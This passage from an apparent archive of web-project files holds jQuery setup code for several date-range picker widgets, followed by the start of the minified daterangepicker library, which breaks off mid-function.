	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY hh:mm:ss A",
	},
});

$(".datepicker-range").daterangepicker({
	drops: "up",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-week-numbers").daterangepicker({
	drops: "up",
	showWeekNumbers: true,
	opens: "left",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-iso-week-numbers").daterangepicker({
	drops: "up",
	opens: "left",
	showWeekNumbers: true,
	showISOWeekNumbers: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-time").daterangepicker({
	drops: "up",
	timePicker: true,
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY hh:mm A",
	},
});

$(".datepicker-range-time-24").daterangepicker({
	drops: "up",
	timePicker: true,
	timePicker24Hour: true,
	opens: "left",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY hh:mm A",
	},
});

$(".datepicker-range-left").daterangepicker({
	opens: "left",
	drops: "up",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-right").daterangepicker({
	opens: "right",
	drops: "up",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-top-right").daterangepicker({
	opens: "right",
	drops: "up",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-top-left").daterangepicker({
	opens: "left",
	drops: "up",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

$(".datepicker-range-auto-apply").daterangepicker({
	autoApply: true,
	drops: "up",
	opens: "left",
	startDate: moment().startOf("hour"),
	endDate: moment().startOf("hour").add(32, "hour"),
	locale: {
		format: "DD/MM/YYYY",
	},
});

// Custom Date Range
$(function () {
	var start = moment().subtract(29, "days");
	var end = moment();
	function cb(start, end) {
		$(".custom-daterange span").html(
			start.format("MMM D, YYYY") + " - " + end.format("MMM D, YYYY")
		);
	}
	$(".custom-daterange").daterangepicker(
		{
			opens: "right",
			startDate: start,
			endDate: end,
			ranges: {
				Today: [moment(), moment()],
				Yesterday: [moment().subtract(1, "days"), moment().subtract(1, "days")],
				"Last 7 Days": [moment().subtract(6, "days"), moment()],
				"Last 30 Days": [moment().subtract(29, "days"), moment()],
				"Last Month": [
					moment().subtract(1, "month").startOf("month"),
					moment().subtract(1, "month").endOf("month"),
				],
			},
		},
		cb
	);
	cb(start, end);
});

// Custom Date Range
$(function () {
	var start = moment().subtract(29, "days");
	var end = moment();
	function cb(start, end) {
		$(".custom-daterange2 span").html(
			start.format("MMM D, YYYY") + " - " + end.format("MMM D, YYYY")
		);
	}
	$(".custom-daterange2").daterangepicker(
		{
			autoApply: true,
			opens: "left",
			startDate: start,
			endDate: end,
			ranges: {
				Today: [moment(), moment()],
				Yesterday: [moment().subtract(1, "days"), moment().subtract(1, "days")],
				"Last 7 Days": [moment().subtract(6, "days"), moment()],
				"Last 30 Days": [moment().subtract(29, "days"), moment()],
				"Last Month": [
					moment().subtract(1, "month").startOf("month"),
					moment().subtract(1, "month").endOf("month"),
				],
			},
		},
		cb
	);
	cb(start, end);
});
vendor/daterange/daterange.js000066600000075664151150442740012314 0ustar00/**
 * Minified by jsDelivr using UglifyJS v3.4.5.
 * Original file: /npm/daterangepicker@3.0.3/daterangepicker.js
 * 
 * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
 */
!function(t,a){if("function"==typeof define&&define.amd)define(["moment","jquery"],function(t,e){return e.fn||(e.fn={}),a(t,e)});else if("object"==typeof module&&module.exports){var e="undefined"!=typeof window?window.jQuery:void 0;e||(e=require("jquery")).fn||(e.fn={});var i="undefined"!=typeof window&&void 0!==window.moment?window.moment:require("moment");module.exports=a(i,e)}else t.daterangepicker=a(t.moment,t.jQuery)}(this,function(H,R){var i=function(t,e,a){if(this.parentEl="body",this.element=R(t),this.startDate=H().startOf("day"),this.endDate=H().endOf("day"),this.minDate=!1,this.maxDate=!1,this.maxSpan=!1,this.autoApply=!1,this.singleDatePicker=!1,this.showDropdowns=!1,this.minYear=H().subtract(100,"year").format("YYYY"),this.maxYear=H().add(100,"year").format("YYYY"),this.showWeekNumbers=!1,this.showISOWeekNumbers=!1,this.showCustomRangeLabel=!0,this.timePicker=!1,this.timePicker24Hour=!1,this.timePickerIncrement=1,this.timePickerSeconds=!1,this.linkedCalendars=!0,this.autoUpdateInput=!0,this.alwaysShowCalendars=!1,this.ranges={},this.opens="right",this.element.hasClass("pull-right")&&(this.opens="left"),this.drops="down",this.element.hasClass("dropup")&&(this.drops="up"),this.buttonClasses="btn btn-sm",this.applyButtonClasses="btn-success",this.cancelButtonClasses="btn-dark",this.locale={direction:"ltr",format:H.localeData().longDateFormat("L"),separator:" - ",applyLabel:"Apply",cancelLabel:"Cancel",weekLabel:"W",customRangeLabel:"Custom Range",daysOfWeek:H.weekdaysMin(),monthNames:H.monthsShort(),firstDay:H.localeData().firstDayOfWeek()},this.callback=function(){},this.isShowing=!1,this.leftCalendar={},this.rightCalendar={},"object"==typeof e&&null!==e||(e={}),"string"==typeof(e=R.extend(this.element.data(),e)).template||e.template instanceof R||(e.template='<div class="daterangepicker"><div class="ranges"></div><div class="drp-calendar left"><div class="calendar-table"></div><div class="calendar-time"></div></div><div class="drp-calendar right"><div class="calendar-table"></div><div class="calendar-time"></div></div><div class="drp-buttons"><span class="drp-selected"></span><button class="cancelBtn" type="button"></button><button class="applyBtn" disabled="disabled" type="button"></button> </div></div>'),this.parentEl=e.parentEl&&R(e.parentEl).length?R(e.parentEl):R(this.parentEl),this.container=R(e.template).appendTo(this.parentEl),"object"==typeof e.locale&&("string"==typeof e.locale.direction&&(this.locale.direction=e.locale.direction),"string"==typeof e.locale.format&&(this.locale.format=e.locale.format),"string"==typeof e.locale.separator&&(this.locale.separator=e.locale.separator),"object"==typeof e.locale.daysOfWeek&&(this.locale.daysOfWeek=e.locale.daysOfWeek.slice()),"object"==typeof e.locale.monthNames&&(this.locale.monthNames=e.locale.monthNames.slice()),"number"==typeof e.locale.firstDay&&(this.locale.firstDay=e.locale.firstDay),"string"==typeof e.locale.applyLabel&&(this.locale.applyLabel=e.locale.applyLabel),"string"==typeof e.locale.cancelLabel&&(this.locale.cancelLabel=e.locale.cancelLabel),"string"==typeof e.locale.weekLabel&&(this.locale.weekLabel=e.locale.weekLabel),"string"==typeof e.locale.customRangeLabel)){(d=document.createElement("textarea")).innerHTML=e.locale.customRangeLabel;var i=d.value;this.locale.customRangeLabel=i}if(this.container.addClass(this.locale.direction),"string"==typeof e.startDate&&(this.startDate=H(e.startDate,this.locale.format)),"string"==typeof e.endDate&&(this.endDate=H(e.endDate,this.locale.format)),"string"==typeof e.minDate&&(this.minDate=H(e.minDate,this.locale.format)),"string"==typeof e.maxDate&&(this.maxDate=H(e.maxDate,this.locale.format)),"object"==typeof e.startDate&&(this.startDate=H(e.startDate)),"object"==typeof e.endDate&&(this.endDate=H(e.endDate)),"object"==typeof e.minDate&&(this.minDate=H(e.minDate)),"object"==typeof e.maxDate&&(this.maxDate=H(e.maxDate)),this.minDate&&this.startDate.isBefore(this.minDate)&&(this.startDate=this.minDate.clone()),this.maxDate&&this.endDate.isAfter(this.maxDate)&&(this.endDate=this.maxDate.clone()),"string"==typeof e.applyButtonClasses&&(this.applyButtonClasses=e.applyButtonClasses),"string"==typeof e.applyClass&&(this.applyButtonClasses=e.applyClass),"string"==typeof e.cancelButtonClasses&&(this.cancelButtonClasses=e.cancelButtonClasses),"string"==typeof e.cancelClass&&(this.cancelButtonClasses=e.cancelClass),"object"==typeof e.maxSpan&&(this.maxSpan=e.maxSpan),"object"==typeof e.dateLimit&&(this.maxSpan=e.dateLimit),"string"==typeof e.opens&&(this.opens=e.opens),"string"==typeof e.drops&&(this.drops=e.drops),"boolean"==typeof e.showWeekNumbers&&(this.showWeekNumbers=e.showWeekNumbers),"boolean"==typeof e.showISOWeekNumbers&&(this.showISOWeekNumbers=e.showISOWeekNumbers),"string"==typeof e.buttonClasses&&(this.buttonClasses=e.buttonClasses),"object"==typeof e.buttonClasses&&(this.buttonClasses=e.buttonClasses.join(" ")),"boolean"==typeof e.showDropdowns&&(this.showDropdowns=e.showDropdowns),"number"==typeof e.minYear&&(this.minYear=e.minYear),"number"==typeof e.maxYear&&(this.maxYear=e.maxYear),"boolean"==typeof e.showCustomRangeLabel&&(this.showCustomRangeLabel=e.showCustomRangeLabel),"boolean"==typeof e.singleDatePicker&&(this.singleDatePicker=e.singleDatePicker,this.singleDatePicker&&(this.endDate=this.startDate.clone())),"boolean"==typeof e.timePicker&&(this.timePicker=e.timePicker),"boolean"==typeof e.timePickerSeconds&&(this.timePickerSeconds=e.timePickerSeconds),"number"==typeof e.timePickerIncrement&&(this.timePickerIncrement=e.timePickerIncrement),"boolean"==typeof e.timePicker24Hour&&(this.timePicker24Hour=e.timePicker24Hour),"boolean"==typeof e.autoApply&&(this.autoApply=e.autoApply),"boolean"==typeof e.autoUpdateInput&&(this.autoUpdateInput=e.autoUpdateInput),"boolean"==typeof e.linkedCalendars&&(this.linkedCalendars=e.linkedCalendars),"function"==typeof e.isInvalidDate&&(this.isInvalidDate=e.isInvalidDate),"function"==typeof e.isCustomDate&&(this.isCustomDate=e.isCustomDate),"boolean"==typeof e.alwaysShowCalendars&&(this.alwaysShowCalendars=e.alwaysShowCalendars),0!=this.locale.firstDay)for(var s=this.locale.firstDay;0<s;)this.locale.daysOfWeek.push(this.locale.daysOfWeek.shift()),s--;var n,r,o;if(void 0===e.startDate&&void 0===e.endDate&&R(this.element).is(":text")){var h=R(this.element).val(),l=h.split(this.locale.separator);n=r=null,2==l.length?(n=H(l[0],this.locale.format),r=H(l[1],this.locale.format)):this.singleDatePicker&&""!==h&&(n=H(h,this.locale.format),r=H(h,this.locale.format)),null!==n&&null!==r&&(this.setStartDate(n),this.setEndDate(r))}if("object"==typeof e.ranges){for(o in e.ranges){n="string"==typeof e.ranges[o][0]?H(e.ranges[o][0],this.locale.format):H(e.ranges[o][0]),r="string"==typeof e.ranges[o][1]?H(e.ranges[o][1],this.locale.format):H(e.ranges[o][1]),this.minDate&&n.isBefore(this.minDate)&&(n=this.minDate.clone());var c=this.maxDate;if(this.maxSpan&&c&&n.clone().add(this.maxSpan).isAfter(c)&&(c=n.clone().add(this.maxSpan)),c&&r.isAfter(c)&&(r=c.clone()),!(this.minDate&&r.isBefore(this.minDate,this.timepicker?"minute":"day")||c&&n.isAfter(c,this.timepicker?"minute":"day"))){var d;(d=document.createElement("textarea")).innerHTML=o;i=d.value;this.ranges[i]=[n,r]}}var m="<ul>";for(o in this.ranges)m+='<li data-range-key="'+o+'">'+o+"</li>";this.showCustomRangeLabel&&(m+='<li data-range-key="'+this.locale.customRangeLabel+'">'+this.locale.customRangeLabel+"</li>"),m+="</ul>",this.container.find(".ranges").prepend(m)}"function"==typeof a&&(this.callback=a),this.timePicker||(this.startDate=this.startDate.startOf("day"),this.endDate=this.endDate.endOf("day"),this.container.find(".calendar-time").hide()),this.timePicker&&this.autoApply&&(this.autoApply=!1),this.autoApply&&this.container.addClass("auto-apply"),"object"==typeof e.ranges&&this.container.addClass("show-ranges"),this.singleDatePicker&&(this.container.addClass("single"),this.container.find(".drp-calendar.left").addClass("single"),this.container.find(".drp-calendar.left").show(),this.container.find(".drp-calendar.right").hide(),this.timePicker||this.container.addClass("auto-apply")),(void 0===e.ranges&&!this.singleDatePicker||this.alwaysShowCalendars)&&this.container.addClass("show-calendar"),this.container.addClass("opens"+this.opens),this.container.find(".applyBtn, .cancelBtn").addClass(this.buttonClasses),this.applyButtonClasses.length&&this.container.find(".applyBtn").addClass(this.applyButtonClasses),this.cancelButtonClasses.length&&this.container.find(".cancelBtn").addClass(this.cancelButtonClasses),this.container.find(".applyBtn").html(this.locale.applyLabel),this.container.find(".cancelBtn").html(this.locale.cancelLabel),this.container.find(".drp-calendar").on("click.daterangepicker",".prev",R.proxy(this.clickPrev,this)).on("click.daterangepicker",".next",R.proxy(this.clickNext,this)).on("mousedown.daterangepicker","td.available",R.proxy(this.clickDate,this)).on("mouseenter.daterangepicker","td.available",R.proxy(this.hoverDate,this)).on("change.daterangepicker","select.yearselect",R.proxy(this.monthOrYearChanged,this)).on("change.daterangepicker","select.monthselect",R.proxy(this.monthOrYearChanged,this)).on("change.daterangepicker","select.hourselect,select.minuteselect,select.secondselect,select.ampmselect",R.proxy(this.timeChanged,this)),this.container.find(".ranges").on("click.daterangepicker","li",R.proxy(this.clickRange,this)),this.container.find(".drp-buttons").on("click.daterangepicker","button.applyBtn",R.proxy(this.clickApply,this)).on("click.daterangepicker","button.cancelBtn",R.proxy(this.clickCancel,this)),this.element.is("input")||this.element.is("button")?this.element.on({"click.daterangepicker":R.proxy(this.show,this),"focus.daterangepicker":R.proxy(this.show,this),"keyup.daterangepicker":R.proxy(this.elementChanged,this),"keydown.daterangepicker":R.proxy(this.keydown,this)}):(this.element.on("click.daterangepicker",R.proxy(this.toggle,this)),this.element.on("keydown.daterangepicker",R.proxy(this.toggle,this))),this.updateElement()};return i.prototype={constructor:i,setStartDate:function(t){"string"==typeof t&&(this.startDate=H(t,this.locale.format)),"object"==typeof t&&(this.startDate=H(t)),this.timePicker||(this.startDate=this.startDate.startOf("day")),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.round(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement),this.minDate&&this.startDate.isBefore(this.minDate)&&(this.startDate=this.minDate.clone(),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.round(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement)),this.maxDate&&this.startDate.isAfter(this.maxDate)&&(this.startDate=this.maxDate.clone(),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.floor(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement)),this.isShowing||this.updateElement(),this.updateMonthsInView()},setEndDate:function(t){"string"==typeof t&&(this.endDate=H(t,this.locale.format)),"object"==typeof t&&(this.endDate=H(t)),this.timePicker||(this.endDate=this.endDate.add(1,"d").startOf("day").subtract(1,"second")),this.timePicker&&this.timePickerIncrement&&this.endDate.minute(Math.round(this.endDate.minute()/this.timePickerIncrement)*this.timePickerIncrement),this.endDate.isBefore(this.startDate)&&(this.endDate=this.startDate.clone()),this.maxDate&&this.endDate.isAfter(this.maxDate)&&(this.endDate=this.maxDate.clone()),this.maxSpan&&this.startDate.clone().add(this.maxSpan).isBefore(this.endDate)&&(this.endDate=this.startDate.clone().add(this.maxSpan)),this.previousRightTime=this.endDate.clone(),this.container.find(".drp-selected").html(this.startDate.format(this.locale.format)+this.locale.separator+this.endDate.format(this.locale.format)),this.isShowing||this.updateElement(),this.updateMonthsInView()},isInvalidDate:function(){return!1},isCustomDate:function(){return!1},updateView:function(){this.timePicker&&(this.renderTimePicker("left"),this.renderTimePicker("right"),this.endDate?this.container.find(".right .calendar-time select").removeAttr("disabled").removeClass("disabled"):this.container.find(".right .calendar-time select").attr("disabled","disabled").addClass("disabled")),this.endDate&&this.container.find(".drp-selected").html(this.startDate.format(this.locale.format)+this.locale.separator+this.endDate.format(this.locale.format)),this.updateMonthsInView(),this.updateCalendars(),this.updateFormInputs()},updateMonthsInView:function(){if(this.endDate){if(!this.singleDatePicker&&this.leftCalendar.month&&this.rightCalendar.month&&(this.startDate.format("YYYY-MM")==this.leftCalendar.month.format("YYYY-MM")||this.startDate.format("YYYY-MM")==this.rightCalendar.month.format("YYYY-MM"))&&(this.endDate.format("YYYY-MM")==this.leftCalendar.month.format("YYYY-MM")||this.endDate.format("YYYY-MM")==this.rightCalendar.month.format("YYYY-MM")))return;this.leftCalendar.month=this.startDate.clone().date(2),this.linkedCalendars||this.endDate.month()==this.startDate.month()&&this.endDate.year()==this.startDate.year()?this.rightCalendar.month=this.startDate.clone().date(2).add(1,"month"):this.rightCalendar.month=this.endDate.clone().date(2)}else this.leftCalendar.month.format("YYYY-MM")!=this.startDate.format("YYYY-MM")&&this.rightCalendar.month.format("YYYY-MM")!=this.startDate.format("YYYY-MM")&&(this.leftCalendar.month=this.startDate.clone().date(2),this.rightCalendar.month=this.startDate.clone().date(2).add(1,"month"));this.maxDate&&this.linkedCalendars&&!this.singleDatePicker&&this.rightCalendar.month>this.maxDate&&(this.rightCalendar.month=this.maxDate.clone().date(2),this.leftCalendar.month=this.maxDate.clone().date(2).subtract(1,"month"))},updateCalendars:function(){if(this.timePicker){var t,e,a,i;if(this.endDate){if(t=parseInt(this.container.find(".left .hourselect").val(),10),e=parseInt(this.container.find(".left .minuteselect").val(),10),a=this.timePickerSeconds?parseInt(this.container.find(".left .secondselect").val(),10):0,!this.timePicker24Hour)"PM"===(i=this.container.find(".left .ampmselect").val())&&t<12&&(t+=12),"AM"===i&&12===t&&(t=0)}else if(t=parseInt(this.container.find(".right .hourselect").val(),10),e=parseInt(this.container.find(".right .minuteselect").val(),10),a=this.timePickerSeconds?parseInt(this.container.find(".right .secondselect").val(),10):0,!this.timePicker24Hour)"PM"===(i=this.container.find(".right .ampmselect").val())&&t<12&&(t+=12),"AM"===i&&12===t&&(t=0);this.leftCalendar.month.hour(t).minute(e).second(a),this.rightCalendar.month.hour(t).minute(e).second(a)}this.renderCalendar("left"),this.renderCalendar("right"),this.container.find(".ranges li").removeClass("active"),null!=this.endDate&&this.calculateChosenLabel()},renderCalendar:function(t){var e,a=(e="left"==t?this.leftCalendar:this.rightCalendar).month.month(),i=e.month.year(),s=e.month.hour(),n=e.month.minute(),r=e.month.second(),o=H([i,a]).daysInMonth(),h=H([i,a,1]),l=H([i,a,o]),c=H(h).subtract(1,"month").month(),d=H(h).subtract(1,"month").year(),m=H([d,c]).daysInMonth(),f=h.day();(e=[]).firstDay=h,e.lastDay=l;for(var p=0;p<6;p++)e[p]=[];var u=m-f+this.locale.firstDay+1;m<u&&(u-=7),f==this.locale.firstDay&&(u=m-6);for(var D=H([d,c,u,12,n,r]),g=(p=0,0),y=0;p<42;p++,g++,D=H(D).add(24,"hour"))0<p&&g%7==0&&(g=0,y++),e[y][g]=D.clone().hour(s).minute(n).second(r),D.hour(12),this.minDate&&e[y][g].format("YYYY-MM-DD")==this.minDate.format("YYYY-MM-DD")&&e[y][g].isBefore(this.minDate)&&"left"==t&&(e[y][g]=this.minDate.clone()),this.maxDate&&e[y][g].format("YYYY-MM-DD")==this.maxDate.format("YYYY-MM-DD")&&e[y][g].isAfter(this.maxDate)&&"right"==t&&(e[y][g]=this.maxDate.clone());"left"==t?this.leftCalendar.calendar=e:this.rightCalendar.calendar=e;var k="left"==t?this.minDate:this.startDate,b=this.maxDate,C=("left"==t?this.startDate:this.endDate,this.locale.direction,'<table class="table-condensed">');C+="<thead>",C+="<tr>",(this.showWeekNumbers||this.showISOWeekNumbers)&&(C+="<th></th>"),k&&!k.isBefore(e.firstDay)||this.linkedCalendars&&"left"!=t?C+="<th></th>":C+='<th class="prev available"><span></span></th>';var v=this.locale.monthNames[e[1][1].month()]+e[1][1].format(" YYYY");if(this.showDropdowns){for(var Y=e[1][1].month(),w=e[1][1].year(),P=b&&b.year()||this.maxYear,x=k&&k.year()||this.minYear,M=w==x,S=w==P,I='<select class="monthselect">',B=0;B<12;B++)(!M||B>=k.month())&&(!S||B<=b.month())?I+="<option value='"+B+"'"+(B===Y?" selected='selected'":"")+">"+this.locale.monthNames[B]+"</option>":I+="<option value='"+B+"'"+(B===Y?" selected='selected'":"")+" disabled='disabled'>"+this.locale.monthNames[B]+"</option>";I+="</select>";for(var A='<select class="yearselect">',L=x;L<=P;L++)A+='<option value="'+L+'"'+(L===w?' selected="selected"':"")+">"+L+"</option>";v=I+(A+="</select>")}if(C+='<th colspan="5" class="month">'+v+"</th>",b&&!b.isAfter(e.lastDay)||this.linkedCalendars&&"right"!=t&&!this.singleDatePicker?C+="<th></th>":C+='<th class="next available"><span></span></th>',C+="</tr>",C+="<tr>",(this.showWeekNumbers||this.showISOWeekNumbers)&&(C+='<th class="week">'+this.locale.weekLabel+"</th>"),R.each(this.locale.daysOfWeek,function(t,e){C+="<th>"+e+"</th>"}),C+="</tr>",C+="</thead>",C+="<tbody>",null==this.endDate&&this.maxSpan){var E=this.startDate.clone().add(this.maxSpan).endOf("day");b&&!E.isBefore(b)||(b=E)}for(y=0;y<6;y++){C+="<tr>",this.showWeekNumbers?C+='<td class="week">'+e[y][0].week()+"</td>":this.showISOWeekNumbers&&(C+='<td class="week">'+e[y][0].isoWeek()+"</td>");for(g=0;g<7;g++){var W=[];e[y][g].isSame(new Date,"day")&&W.push("today"),5<e[y][g].isoWeekday()&&W.push("weekend"),e[y][g].month()!=e[1][1].month()&&W.push("off"),this.minDate&&e[y][g].isBefore(this.minDate,"day")&&W.push("off","disabled"),b&&e[y][g].isAfter(b,"day")&&W.push("off","disabled"),this.isInvalidDate(e[y][g])&&W.push("off","disabled"),e[y][g].format("YYYY-MM-DD")==this.startDate.format("YYYY-MM-DD")&&W.push("active","start-date"),null!=this.endDate&&e[y][g].format("YYYY-MM-DD")==this.endDate.format("YYYY-MM-DD")&&W.push("active","end-date"),null!=this.endDate&&e[y][g]>this.startDate&&e[y][g]<this.endDate&&W.push("in-range");var O=this.isCustomDate(e[y][g]);!1!==O&&("string"==typeof O?W.push(O):Array.prototype.push.apply(W,O));var N="",j=!1;for(p=0;p<W.length;p++)N+=W[p]+" ","disabled"==W[p]&&(j=!0);j||(N+="available"),C+='<td class="'+N.replace(/^\s+|\s+$/g,"")+'" data-title="r'+y+"c"+g+'">'+e[y][g].date()+"</td>"}C+="</tr>"}C+="</tbody>",C+="</table>",this.container.find(".drp-calendar."+t+" .calendar-table").html(C)},renderTimePicker:function(t){if("right"!=t||this.endDate){var e,a,i,s=this.maxDate;if(!this.maxSpan||this.maxDate&&!this.startDate.clone().add(this.maxSpan).isAfter(this.maxDate)||(s=this.startDate.clone().add(this.maxSpan)),"left"==t)a=this.startDate.clone(),i=this.minDate;else if("right"==t){a=this.endDate.clone(),i=this.startDate;var n=this.container.find(".drp-calendar.right .calendar-time");if(""!=n.html()&&(a.hour(a.hour()||n.find(".hourselect option:selected").val()),a.minute(a.minute()||n.find(".minuteselect option:selected").val()),a.second(a.second()||n.find(".secondselect option:selected").val()),!this.timePicker24Hour)){var r=n.find(".ampmselect option:selected").val();"PM"===r&&a.hour()<12&&a.hour(a.hour()+12),"AM"===r&&12===a.hour()&&a.hour(0)}a.isBefore(this.startDate)&&(a=this.startDate.clone()),s&&a.isAfter(s)&&(a=s.clone())}e='<select class="hourselect">';for(var o=this.timePicker24Hour?0:1,h=this.timePicker24Hour?23:12,l=o;l<=h;l++){var c=l;this.timePicker24Hour||(c=12<=a.hour()?12==l?12:l+12:12==l?0:l);var d=a.clone().hour(c),m=!1;i&&d.minute(59).isBefore(i)&&(m=!0),s&&d.minute(0).isAfter(s)&&(m=!0),c!=a.hour()||m?e+=m?'<option value="'+l+'" disabled="disabled" class="disabled">'+l+"</option>":'<option value="'+l+'">'+l+"</option>":e+='<option value="'+l+'" selected="selected">'+l+"</option>"}e+="</select> ",e+=': <select class="minuteselect">';for(l=0;l<60;l+=this.timePickerIncrement){var f=l<10?"0"+l:l;d=a.clone().minute(l),m=!1;i&&d.second(59).isBefore(i)&&(m=!0),s&&d.second(0).isAfter(s)&&(m=!0),a.minute()!=l||m?e+=m?'<option value="'+l+'" disabled="disabled" class="disabled">'+f+"</option>":'<option value="'+l+'">'+f+"</option>":e+='<option value="'+l+'" selected="selected">'+f+"</option>"}if(e+="</select> ",this.timePickerSeconds){e+=': <select class="secondselect">';for(l=0;l<60;l++){f=l<10?"0"+l:l,d=a.clone().second(l),m=!1;i&&d.isBefore(i)&&(m=!0),s&&d.isAfter(s)&&(m=!0),a.second()!=l||m?e+=m?'<option value="'+l+'" disabled="disabled" class="disabled">'+f+"</option>":'<option value="'+l+'">'+f+"</option>":e+='<option value="'+l+'" selected="selected">'+f+"</option>"}e+="</select> "}if(!this.timePicker24Hour){e+='<select class="ampmselect">';var p="",u="";i&&a.clone().hour(12).minute(0).second(0).isBefore(i)&&(p=' disabled="disabled" class="disabled"'),s&&a.clone().hour(0).minute(0).second(0).isAfter(s)&&(u=' disabled="disabled" class="disabled"'),12<=a.hour()?e+='<option value="AM"'+p+'>AM</option><option value="PM" selected="selected"'+u+">PM</option>":e+='<option value="AM" selected="selected"'+p+'>AM</option><option value="PM"'+u+">PM</option>",e+="</select>"}this.container.find(".drp-calendar."+t+" .calendar-time").html(e)}},updateFormInputs:function(){this.singleDatePicker||this.endDate&&(this.startDate.isBefore(this.endDate)||this.startDate.isSame(this.endDate))?this.container.find("button.applyBtn").removeAttr("disabled"):this.container.find("button.applyBtn").attr("disabled","disabled")},move:function(){var t,e={top:0,left:0},a=R(window).width();this.parentEl.is("body")||(e={top:this.parentEl.offset().top-this.parentEl.scrollTop(),left:this.parentEl.offset().left-this.parentEl.scrollLeft()},a=this.parentEl[0].clientWidth+this.parentEl.offset().left),t="up"==this.drops?this.element.offset().top-this.container.outerHeight()-e.top:this.element.offset().top+this.element.outerHeight()-e.top,this.container["up"==this.drops?"addClass":"removeClass"]("drop-up"),"left"==this.opens?(this.container.css({top:t,right:a-this.element.offset().left-this.element.outerWidth(),left:"auto"}),this.container.offset().left<0&&this.container.css({right:"auto",left:9})):"center"==this.opens?(this.container.css({top:t,left:this.element.offset().left-e.left+this.element.outerWidth()/2-this.container.outerWidth()/2,right:"auto"}),this.container.offset().left<0&&this.container.css({right:"auto",left:9})):(this.container.css({top:t,left:this.element.offset().left-e.left,right:"auto"}),this.container.offset().left+this.container.outerWidth()>R(window).width()&&this.container.css({left:"auto",right:0}))},show:function(t){this.isShowing||(this._outsideClickProxy=R.proxy(function(t){this.outsideClick(t)},this),R(document).on("mousedown.daterangepicker",this._outsideClickProxy).on("touchend.daterangepicker",this._outsideClickProxy).on("click.daterangepicker","[data-toggle=dropdown]",this._outsideClickProxy).on("focusin.daterangepicker",this._outsideClickProxy),R(window).on("resize.daterangepicker",R.proxy(function(t){this.move(t)},this)),this.oldStartDate=this.startDate.clone(),this.oldEndDate=this.endDate.clone(),this.previousRightTime=this.endDate.clone(),this.updateView(),this.container.show(),this.move(),this.element.trigger("show.daterangepicker",this),this.isShowing=!0)},hide:function(t){this.isShowing&&(this.endDate||(this.startDate=this.oldStartDate.clone(),this.endDate=this.oldEndDate.clone()),this.startDate.isSame(this.oldStartDate)&&this.endDate.isSame(this.oldEndDate)||this.callback(this.startDate.clone(),this.endDate.clone(),this.chosenLabel),this.updateElement(),R(document).off(".daterangepicker"),R(window).off(".daterangepicker"),this.container.hide(),this.element.trigger("hide.daterangepicker",this),this.isShowing=!1)},toggle:function(t){this.isShowing?this.hide():this.show()},outsideClick:function(t){var e=R(t.target);"focusin"==t.type||e.closest(this.element).length||e.closest(this.container).length||e.closest(".calendar-table").length||(this.hide(),this.element.trigger("outsideClick.daterangepicker",this))},showCalendars:function(){this.container.addClass("show-calendar"),this.move(),this.element.trigger("showCalendar.daterangepicker",this)},hideCalendars:function(){this.container.removeClass("show-calendar"),this.element.trigger("hideCalendar.daterangepicker",this)},clickRange:function(t){var e=t.target.getAttribute("data-range-key");if((this.chosenLabel=e)==this.locale.customRangeLabel)this.showCalendars();else{var a=this.ranges[e];this.startDate=a[0],this.endDate=a[1],this.timePicker||(this.startDate.startOf("day"),this.endDate.endOf("day")),this.alwaysShowCalendars||this.hideCalendars(),this.clickApply()}},clickPrev:function(t){R(t.target).parents(".drp-calendar").hasClass("left")?(this.leftCalendar.month.subtract(1,"month"),this.linkedCalendars&&this.rightCalendar.month.subtract(1,"month")):this.rightCalendar.month.subtract(1,"month"),this.updateCalendars()},clickNext:function(t){R(t.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.month.add(1,"month"):(this.rightCalendar.month.add(1,"month"),this.linkedCalendars&&this.leftCalendar.month.add(1,"month")),this.updateCalendars()},hoverDate:function(t){if(R(t.target).hasClass("available")){var e=R(t.target).attr("data-title"),a=e.substr(1,1),i=e.substr(3,1),r=R(t.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.calendar[a][i]:this.rightCalendar.calendar[a][i],o=this.leftCalendar,h=this.rightCalendar,l=this.startDate;this.endDate||this.container.find(".drp-calendar tbody td").each(function(t,e){if(!R(e).hasClass("week")){var a=R(e).attr("data-title"),i=a.substr(1,1),s=a.substr(3,1),n=R(e).parents(".drp-calendar").hasClass("left")?o.calendar[i][s]:h.calendar[i][s];n.isAfter(l)&&n.isBefore(r)||n.isSame(r,"day")?R(e).addClass("in-range"):R(e).removeClass("in-range")}})}},clickDate:function(t){if(R(t.target).hasClass("available")){var e=R(t.target).attr("data-title"),a=e.substr(1,1),i=e.substr(3,1),s=R(t.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.calendar[a][i]:this.rightCalendar.calendar[a][i];if(this.endDate||s.isBefore(this.startDate,"day")){if(this.timePicker){var n=parseInt(this.container.find(".left .hourselect").val(),10);if(!this.timePicker24Hour)"PM"===(h=this.container.find(".left 